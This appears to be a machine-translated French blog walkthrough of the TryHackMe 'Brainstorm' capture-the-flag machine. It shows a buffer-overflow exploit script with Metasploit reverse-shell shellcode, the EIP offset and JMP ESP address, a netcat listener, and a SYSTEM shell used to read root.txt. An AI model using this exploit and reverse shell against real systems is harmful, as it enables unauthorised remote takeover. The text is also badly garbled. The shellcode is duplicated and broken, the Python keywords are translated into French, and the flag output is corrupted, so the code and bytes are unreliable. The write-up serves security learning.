"\ x0f \ x4a \ x8d \ x02 \ xa2 \ x9f \ xbc \ x49 \ xab \ x6c \ x8d \ x71 \ x2b" Buf + = xab \ x6c \ x8d \ x71 \ x2b "Buf + = xab \ x6c \ x8d \ x71 \ x2B" b "\ xfb \ x86 \ x02 \ x19 \ xa4 \ x3c \ x8c \ x11 \ x2d \ x9b \ x4b \ x55 \ x04" buf + = b "\ x5b \ xc3 \ xa8 \ xa7 \ x9c \ xca \ x6e \ xf3 \ xcc \ x64 \ x46 \ x7c \ x87" b "\ x74 \ x67 \ xa9 \ x08 \ x24 \ xc7 \ x02 \ xe9 \ x94 \ xa7 \ xf2 \ x81 \ xfe" buf + = b "\ x27 \ x2c \ xb1 \ x01 \ xe2 \ x45 \ x58 \ xf + = x65 \ xaa \ x35 \ x02 \ xe8" b "\ x42 \ x44 \ x02 \ x10 \ x41 \ xc1 \ xe 4 \ x72 \ x75 \ x84 \ xbf \ \ xea \ xec" buf + = b "\ x8d \ x4b \ x8a \ xf1 \ x1b \ x36 \ x8c \ x7a \ xa8 \ xc7 \ x43 \ x8b \ xc5" Buf + = = xa8 \ xc7 \ x43 \ x8b \ xc5 " b "\ xdb \ x34 \ x7b \ x90 \ x81 \ x93 \ x84 \ x0e \ xad \ x78 \ x16 \ xd5 \ x2d" buf + = b "\ xf6 \ x0b \ x42 \ x7a \ x5f \ xfd \ x9b \ xee \ x4d \ xa4 \ x35 \ x0c \ x8c" Buf + = = xa4 \ x35 \ x0c \ x8c " b "\ x30 \ x7d \ x94 \ x4b \ x81 \ x80 \ x15 \ x19 \ xbd \ xa6 \ x05 \ xe7 \ x3e" buf + = b "\ xe3 \ x71 \ xb7 \ x68 \ xbd \ x2f \ x71 \ xc3 \ x0f \ x99 \ x2b \ xb8 \ xd9" Buf + = x0f \ x99 \ x2b \ xb8 \ xd9 " b"\x4d\xad\xf2\xd9\x0b\xb2\xde\xaf\xf3\x03\xb7\xe9\x0c" buf += b"\xab\x5f\xfe\x75\xd1\xff\x01\xac\x51\x1f\xe0\x64\xac" buf += b "\ x88 \ xbd \ xed \ x0d \ xd5 \ x3d \ xd8 \ x52 \ xe0 \ xbd \ xe8 \ x2a \ x17" buf + = b "\ xdd \ x99 \ x2f \ x53 \ x59 \ x72 \ x42 \ xcc \ x0c \ x74 \ xf1 \ xed \ x04"

Vous avez maintenant un code de coquille inversé.

Répondre

Voir ci-dessus

Après avoir accédé, quel est le contenu du fichier root.txt?

Maintenant que vous avez toutes les informations nécessaires, assemblons-les.

  • Offset EIP: 'A' * 2012: Ontrétages appropriés 2012
  • Eip: '\ xdf \ x14 \ x50 \ x62': adresse JMP ESP
  • NOPS: Environ 20: Ajout de 20 NOPS au début du script pour éviter les erreurs pendant l'étape de décodage.
  • Buf: script shell

Une fois que vous avez fait cela, essayez une coquille inversée.

┌── (hackLab㉿hackLab) - [~ / Tryhackme / Brainstorm] └sé b "\ xba \ xae \ x14 \ x6c \ x9a \ xda \ xd6 \ xd9 \ x74 \ x24 \ xf4 \ x58 \ x2b" buf + = b "\ xc9 \ xb1 \ x52 \ x83 \ xe8 \ xfc \ x31 \ x50 \ x0e \ x03 \ xfe \ x1a \ x8e" buf + = = x0e \ x03 \ xfe \ x1a \ x8e "Buf + = = x0e \ x03 \ xfe \ x1a \ x8e" Buf + = = x0e \ x03 \ xfe \ x1a \ x8e "Buf + = = = X0E b "\ x6f \ x02 \ xca \ xcc \ x90 \ xfa \ x0b \ xb1 \ x19 \ x1f \ x3a \ xf1 \ x7e" buf + = b "\ x54 \ x6d \ xc1 \ xf5 \ x38 \ x82 \ xaa \ x58 \ xa8 \ x11 \ xde \ x74 \ xaa \ x58 \ xa8 \ x11 \ xde \ x74 \ xdf" Buf + = = xa8 \ x11 \ xde \ x74 \ xdf "Buf + = = xa8 \ x11 \ XDE \ X74 \ xDF" b"\x92\x55\xa3\xee\x23\xc5\x97\x71\xa0\x14\xc4\x51\x99" buf += b"\xd6\x19\x90\xde\x0b\xd3\xc0\xb7\x40\x46\xf4\xbc\x1d" buf += b"\x5b\x7f\x8e\xb0\xdb\x9c\x47\xb2\xca\x33\xd3\xed\xcc" buf += b"\xb2\x30\x86\x44\xac\x55\xa3\x1f\x47\xad\x5f\x9e\x81" buf += b "\ xff \ xa0 \ x0d \ xec \ xcf \ x52 \ x4f \ x29 \ xf7 \ x8c \ x3a \ x43 \ x0b" buf + = b "\ x30 \ x3d \ x90 \ x71 \ xee \ xc8 \ x02 \ xd1 \ x65 \ x6a \ xee \ xe3 \ xa" buf + = = x65 \ x6a \ xee \ xe3 \ xa "buf + = = x65 \ x6a \ xee \ xe3 \ xa" buf + = = x65 \ x6a \ xee \ xe3 \ xa "Buf + = = x65 \ x6a \ XEE \ XE3 \ XA" b "\ xed \ x65 \ xef \ x07 \ x79 \ x21 \ xec \ x96 \ xae \ x5a \ x08 \ x12 \ x51" buf + = b "\ x8c \ x98 \ x60 \ x76 \ x08 \ xc0 \ x33 \ x17 \ x09 \ xac \ x92 \ x28 \ x49" Buf + = = = x09 \ xac \ x92 \ x28 \ x49 " b"\x0f\x4a\x8d\x02\xa2\x9f\xbc\x49\xab\x6c\x8d\x71\x2b" buf += b"\xfb\x86\x02\x19\xa4\x3c\x8c\x11\x2d\x9b\x4b\x55\x04" buf += b "\ x5b \ xc3 \ xa8 \ xa7 \ x9c \ xca \ x6e \ xf3 \ xcc \ x64 \ x46 \ x7c \ x87" buf + = b "\ x74 \ x67 \ xa9 \ x08 \ x24 \ xc7 \ x02 \ xe9 \ x94 \ xa7 \ xf2 \ x81 \ xfe" Buf + = = x94 \ xa7 \ xf2 \ x81 \ xfe "Buf + = = x94 \ xa7 \ xf2 \ x81 \ Xe" b "\ x27 \ x2c \ xb1 \ x01 \ xe2 \ x45 \ x58 \ xf8 \ x65 \ xaa \ x35 \ x02 \ xe8" buf + = b "\ x42 \ x44 \ x02 \ x10 \ x41 \ xc1 \ xe4 \ x72 \ x75 \ x84 \ xbf \ xea" b "\ x8d \ x4b \ x8a \ xf1 \ x1b \ x36 \ x8c \ x7a \ xa8 \ xc7 \ x43 \ x8b \ xc5" buf + = b "\ xdb \ x34 \ x7b \ x90 \ x81 \ x93 \ x84 \ x0e \ xad \ x78 \ x16 \ xd5 \ x2d" Buf + = xad b "\ xf6 \ x0b \ x42 \ x7a \ x5f \ xfd \ x9b \ xee \ x4d \ xa4 \ x35 \ x0c \ x8c" buf + = b "\ x30 \ x7d \ x94 \ x4b \ x81 \ x80 \ x15 \ x19 \ xbd \ xa6 \ x05 \ xe7 \ x3e" Buf + = = xbd \ xa6 \ x05 \ xe7 \ x3e "Buf + = = xbd \ xa6 \ x05 \ xe7 \ x3e" Buf + = = xbd \ xa6 \ x05 \ xe7 \ x3e "Buf + = = xbd" B "\ Xe3 \ x71 \ xb7 \ x68 \ xbd \ x2f \ x71 \ xc3 \ x0f \ x99 \ x2b \ xb8 \ xd9" buf + = b "\ x4d \ xad \ xf2 \ xd9 \ x0b \ xb2 \ xde \ xaf \ xf3 \ x03 \ xb7 \ xe9 \ x0c" Buf + = = xf3 \ x03 \ xb7 \ xe9 \ x0c " b"\xab\x5f\xfe\x75\xd1\xff\x01\xac\x51\x1f\xe0\x64\xac" buf += b"\x88\xbd\xed\x0d\xd5\x3d\xd8\x52\xe0\xbd\xe8\x2a\x17" buf += b "\ xdd \ x99 \ x2f \ x53 \ x59 \ x72 \ x42 \ xcc \ x0c \ x74 \ xf1 \ xed \ x04" eip = b '\ xdf \ x14 \ x50 \ x62' nop = b '\ x90' * 20 message = ('a' * sect + = buf try: print ('[+] Envoi de tampon') s = socket.socket (socket.af_inet, socket.sock_stream) s.connect ((adresse, port)) s.recv (1024) s.send (user + '\ r \ n'.encode ("utf-8")) s.recv (1024) imprimer ("message") S.Send (message + '\ r \ n'.encode ("utf-8")) sauf exception comme e: print (e) print (' [!] Impossible de se connecter à l'application. ') sys.exit (0) enfin: s.close ()

Écoutez sur la machine d'attaque.

┌── (HackLab㉿hackLab) - [~] └fique $ NC -NLVP 1234 Écoute sur [any] 1234 ...

Exécutez cet état.

┌fique

J'ai réussi à obtenir la coquille!

┌── (hackLab㉿hackLab) - [~] └─ $ nc -nlvp 1234 écoute sur [any] 1234 ... connecter à [192.168.0.158] de (inconnu) [192.168.0.126] 60010 Microsoft Windows [version 10.0.22621.1848] (C) Microsoft Corporation. Tous droits réservés. C: \ Users \ **** \ **** \ Brainstorm>

Il s'agit toujours d'une machine locale, alors personnalisons-le un peu pour la machine cible.
Tout d'abord, reconstruisez la coquille inversée.

┌fique (HackLab㉿HackLab) - [~ / / TryhackMe / Brainstorm] └sé MSF :: Module :: Platform :: Windows de la charge utile [-] Aucune arche sélectionnée, sélectionnant Arch: x86 dans la charge utile trouvée 1 encodeurs compatibles tentant d'encoder la charge utile avec 1 itérations de x86 / shikata_ga_nai x86 / shikata_ga_nai a succédé à la taille 351 (itération = 0) 351 Taille de charge utile: 351 octets Taille finale du fichier py: 1712 octets buf = b "" buf + = b "\ xd9 \ xe8 \ xba \ x61 \ x87 \ x63 \ xd7 \ xd9 \ x74 \ x24 \ xf4 \ x58 \ x31" buf + = = b "\ xc9 \ xb1 \ x52 \ x31 \ x50 \ x17 \ x03 \ x50 \ x17 \ x83 \ x89 \ x7b \ x81" buf + = b "\ x22 \ xb5 \ x6c \ xc4 \ xcd \ x45 \ x6d \ xa9 \ x44 \ xa0 \ x5c \ xa b "\ xa1 \ xcf \ xd9 \ x30 \ xe7 \ xe3 \ x92 \ x15 \ x13 \ x77 \ xd6 \ xb1 \ x14" buf + = b "\ x30 \ x5d \ xe4 \ x1b \ xc1 \ xce \ xd4 \ x3a \ x41 \ x0d \ x09 \ x9c \ x78" b "\ xde \ x5c \ xdd \ xbd \ x03 \ xac \ x8f \ x16 \ x4f \ x03 \ x3f \ x12 \ x05" buf + = b "\ x98 \ xb4 \ x68 \ x8b \ x98 \ x29 \ x38 \ xaa \ x89 \ xfc \ x32 \ xf5 \ x09" Buf + = x89 \ xfc \ x32 \ xf5 " b "\ xff \ x97 \ x8d \ x03 \ xe7 \ xf4 \ xa8 \ xda \ x9c \ xcf \ x47 \ xdd \ x74" buf + = b "\ x1e \ xa7 \ x72 \ xb9 \ xae \ x5a \ x8a \ xfe \ x09 \ x85 \ xf9 \ xf6 \ x69" Buf + = = x09 \ x85 \ xf9 \ xf6 \ x69 " b "\ x1e \ xa7 \ x72 \ xb9 \ xae \ x5a \ x8a \ xfe \ x09 \ x85 \ xf9 \ xf6 \ x69" buf + = b "\ x38 \ xfa \ xcd \ x10 \ xe6 \ x8f \ xd5 \ xb3 \ x6d \ x37 \ x31 \ x45 \ xa" buf + = = x6d \ x37 \ x31 \ x45 \ xa "Buf + = = x6d \ x37 \ x31 \ x45 \ xa" Buf + = = x6d \ x37 \ x31 \ x45 \ xa "Buf + = = x6d \ x37 \ x31 \ x45 \ xa" Buf + = = x6d \ x37 \ x31 \ x45 \ xa " b "\ xae \ xb2 \ x49 \ x0e \ xa4 \ x9c \ x4d \ x91 \ x69 \ x97 \ x6a \ x1a \ x8c" buf + = b "\ x77 \ xfb \ x58 \ xab \ x53 \ xa7 \ x3b \ xd2 \ xc2 \ x0d \ xé b "\ xee \ x52 \ x4e \ x5f \ x03 \ x86 \ xe3 \ x02 \ x4c \ x6b \ xce \ xbc \ x8c" buf + = b "\ xe3 \ x59 \ xcf \ xbe \ xac \ xf1 \ x47 \ xf3 \ x25 \ xdc \ x90 \ xf4 \ x1f" Buf + = = xdc \ x90 \ xf4 \ x1f "Buf + = = xdc \ x90 \ xf4 \ x1f" b "\ x98 \ x0e \ x0b \ xa0 \ xd9 \ x07 \ xc8 \ xf4 \ x89 \ x3f \ xf9 \ x74 \ x42" buf + = b "\ xbf \ x06 \ xa1 \ xc5 \ xef \ xa8 \ x1a \ xa6 \ x5f \ x09 \ xcb \ x4e" b "\ x86 \ x34 \ x6e \ xb6 \ x4c \ x5d \ x05 \ x4d \ x07 \ x68 \ xc8 \ x23 \ x8d" buf + = b "\ x04 \ xee \ xbb \ x35 \ x07 \ x67 \ x5d \ x5f \ xb7 \ x2e \ xf6 \ xc8 \ x2e + = xb7 \ x2e \ xf6 \ xc8 \ x2e + = xb7 \ x2e \ xf6 \ xc8 \ x2e" b "\ x6b \ x8c \ x69 \ xae \ xa1 \ xe9 \ xaa \ x24 \ x46 \ x0e \ x64 \ xcd \ x23" buf + = b "\ x1c \ x11 \ x3d \ x7e \ x7e \ x7e \ xb4 \ x42 \ x54 \ x16 \ x5a \ xd0 \ x33 \ xe6" "Buf + = b "\ x15 \ xc9 \ xeb \ xb1 \ x72 \ x3f \ xe2 \ x57 \ x6f \ x66 \ x5c \ x45 \ x72" buf + = b "\ x15 \ xc9 \ xeb \ xb1 \ x72 \ x3f \ xe2 \ x57 \ x6f \ x66 \ x5c \ x45 \ x72" Buf \ x66 \ x5c +! b "\ xb6 \ x88 \ x4c \ xb3 \ xc0 \ x94 \ x98 \ x45 \ x2c \ x24 \ x75 \ x10 \ x53" buf + = b "\ x89 \ x11 \ x94 \ x2c \ xf7 \ x81 \ x5b \ xe7 \ xb3 \ xa2 \ xb9 \ x2d \ xce" Buf + = = xb3 \ xa2 \ xb9 \ x2d \ xce "Buf + = = xb3 \ xa2 \ xb9 \ x2d \ xce" Buf + = = xb3 \ xa2 \ xb9 \ x2d \ xce "Buf + = = xb3 \ xa2 \ xb9 \ x2d \ XCE" b "\ x4a \ x64 \ xa4 \ x73 \ x17 \ x97 \ x13 \ xb7 \ x2e \ x14 \ x91 \ x48 \ xd5" buf + = b "\ x04 \ xd0 \ x4d \ x91 \ x82 \ x09 \ x3c \ x8a \ x66 \ x2d \ x93 \ xaB \ xa2" "

Ensuite, réécrivez BUF.

┌fique (HackLab㉿HackLab) - [~ / TryhackMe / Brainstorm] └─ $ Cat test3.py #! / USR / bin / Python Import Socket, SYS Address = '10 .10.131.55 'port = 9999 User =' Test'.encode ("utf-8") buf = b "" buf + = b "\ xd9 \ xe8 \ xba \ x61 \ x87 \ x63 \ xd7 \ xd9 \ x74 \ x24 \ xf4 \ x58 \ x31" buf + = b "\ xc9 \ xb1 \ x52 \ x31 \ x50 \ x17 \ x03 \ x50 \ x17 \ x83 \ x89 \ x7b \ x81" Buf + = = x17 \ x83 \ x89 \ x7b \ "x81" b "\ x22 \ xb5 \ x6c \ xc4 \ xcd \ x45 \ x6d \ xa9 \ x44 \ xa0 \ x5c \ xe9 \ x33" buf + = b "\ xa1 \ xcf \ xd9 \ x30 \ xe7 \ xe3 \ x92 \ x15 \ x13 \ x77 \ xd6 \ xb1 \ x14" Buf + = = x77 \ xd6 \ xb1 \ x14 " b "\ x30 \ x5d \ xe4 \ x1b \ xc1 \ xce \ xd4 \ x3a \ x41 \ x0d \ x09 \ x9c \ x78" buf + = b "\ xde \ x5c \ xdd \ xbd \ x03 \ xac \ x8f \ x16 \ x4f \ x03 \ x3f \ x12 \ X05" b "\ x98 \ xb4 \ x68 \ x8b \ x98 \ x29 \ x38 \ xaa \ x89 \ xfc \ x32 \ xf5 \ x09" buf + = b "\ xff \ x97 \ x8d \ x03 \ xe7 \ xf4 \ xa8 \ xda \ x9c \ xcf \ x47 \ xdd \ x74" Buf + = x9c \ xcf \ x47 \ xdd \ x74 " b "\ x1e \ xa7 \ x72 \ xb9 \ xae \ x5a \ x8a \ xfe \ x09 \ x85 \ xf9 \ xf6 \ x69" buf + = b "\ x1e \ xa7 \ x72 \ xb9 \ xae \ x5a \ x8a \ xfe \ x09 \ x85 \ xf9 \ xf6 \ x69" Buf + = = = x85 \ xf9 \ xf6 \ x69 " B "\ x38 \ xfa \ xcd \ x10 \ xe6 \ x8f \ xd5 \ xb3 \ x6d \ x37 \ x31 \ x45 \ xa1" buf + = b "\ xae \ xb2 \ x49 \ x0e \ xa4 \ x9c \ x4d \ x91 \ x69 \ x97 \ x6a \ x1a \ x8c" b "\ x77 \ xfb \ x58 \ xab \ x53 \ xa7 \ x3b \ xd2 \ xc2 \ x0d \ xed \ xeb \ x14" buf + = b "\ xee \ x52 \ x4e \ x5f \ x03 \ x86 \ xe3 \ x02 \ x4c \ x6b \ xce \ xbc \ x8c" B "\ XE3 \ X59 \ xcf \ xbe \ xac \ xf1 \ x47 \ xf3 \ x25 \ xdc \ x90 \ xf4 \ x1f" buf + = b "\ x98 \ x0e \ x0b \ xa0 \ xd9 \ x07 \ xc8 \ xf4 \ x89 \ x3f \ xf9 \ x74 \ x42" b"\xbf\x06\xa1\xc5\xef\xa8\x1a\xa6\x5f\x09\xcb\x4e\xb5" buf += b"\x86\x34\x6e\xb6\x4c\x5d\x05\x4d\x07\x68\xc8\x23\x8d" buf += b "\ x04 \ xee \ xbb \ x35 \ x07 \ x67 \ x5d \ x5f \ xb7 \ x2e \ xf6 \ xc8 \ x2e" buf + = b "\ x6b \ x8c \ x69 \ xae \ xa1 \ xe9 \ xaa \ x24 \ x46 \ x0e \ x64 \ xcd \ x23" b "\ x1c \ x11 \ x3d \ x7e \ x7e \ x7e \ xb4 \ x42 \ x54 \ x16 \ x5a \ xd0 \ x33 \ xe6" buf + = b "\ x15 \ xc9 \ xeb \ xb1 \ x72 \ x3f \ xe2 \ x57 \ x6f \ x66 \ x5c \ x45 \ x72 \ x6f buf += b"\x15\xc9\xeb\xb1\x72\x3f\xe2\x57\x6f\x66\x5c\x45\x72" buf += b"\xfe\xa7\xcd\xa9\xc3\x26\xcc\x3c\x7f\x0d\xde\xf8\x80" buf +! +! b "\ x04 \ xd0 \ x4d \ x91 \ x82 \ x09 \ x3c \ x8a \ x66 \ x2d \ x93 \ xab \ xa2" ESP = b '\ xdf \ x14 \ x50 \ x62' nop = b '\ x90' * 20 message = ('a' * 2012. buf try: print ('[+] Envoi de tampon') s = socket.socket (socket.af_inet, socket.sock_stream) s.connect ((adresse, port)) s.recv (1024) s.send (user + '\ r \ n'.encode ("utf-8")) s.recv (1024) imprimer ("message") S.Send (message + '\ r \ n'.encode ("utf-8")) sauf exception comme e: print (e) print (' [!] Impossible de se connecter à l'application. ') sys.exit (0) enfin: s.close ()

Dans cet état, lorsque je l'ai exécuté, j'ai pu infiltrer avec succès la machine cible.

┌fique (HackLab㉿hackLab) - [~] └─ $ NC -NLVP 1234 Écoute sur [n'importe quel] 1234 ... Connectez-vous à [10.18.110.90] de (inconnu) [10.10.131.55] 49175 Microsoft Windows [version 6.1.7601] Copyright (C) 2009 Microsoft Corporation. Tous droits réservés. C: \ Windows \ System32> Whoami Whoami nt Authority \ System

Je vais essayer de chercher root.txt.

┌fique (HackLab㉿HackLab) - [~] └─ $ NC -NLVP 1234 1 ⨯ Écoute sur [n'importe quel] 1234 ... Connectez-vous à [10.18.110.90] de (inconnu) [10.10.131.55] 49196 Microsoft Windows [version 6.1.7601] Copyright (C) 2009 Microsoft Corporation. Tous droits réservés. ... C: \ Users \ Drake \ Desktop> Dir Dir Volume dans le lecteur C n'a pas d'étiquette. Le numéro de série du volume est le répertoire C87F-5040 de C: \ Users \ Drake \ Desktop 08/29/2019 10:55 PM<DIR> . 29/08/2019 22:55<DIR> .. 08/29/2019 10:55 PM 32 root.txt 1 fichier (s) 32 octets 2 dir (s) 19.703,422,976 octets gratuits c: \ users \ drake \ Desktop> Type root.txt type root.txt 5b1001de5a44eca471e7942a8f8a c: \ drake \ drakeeeeee71e7942a8f8a c: \ drake \ drake

J'ai fouillé le répertoire et trouvé root.txt!

Répondre

résumé

Cette fois, j'ai essayé "l'attaque RET2ESP, l'une des attaques de débordement de tampon".

C'était assez difficile, mais après avoir lu une variété d'écrits, je l'ai finalement compris. . . C'est ce que c'est.
Il y en avait quelques-uns que je ne connais pas la réponse, donc je ferai des recherches à l'avenir. . .

Références et sites

crayon.io: https://pencer.io/ctf/ctf-thm-brainstorm/
nop-blog: https://nop-blog.tech/tryhackme/brainstorm/
Steflan-security.com: https://steflan-security.com/tryhackme-brainstorm-walkthrough/

Partagez si vous le souhaitez!

Qui a écrit cet article

Ceci est un blog que j'ai commencé à étudier la sécurité de l'information. En tant que nouvel employé, je serais heureux si vous pouviez regarder avec un cœur large.
Il y a aussi Teech Lab, qui est l'occasion d'étudier le plaisir en programmation, donc si vous êtes intéressé par le développement de logiciels, assurez-vous de jeter un œil!

table des matières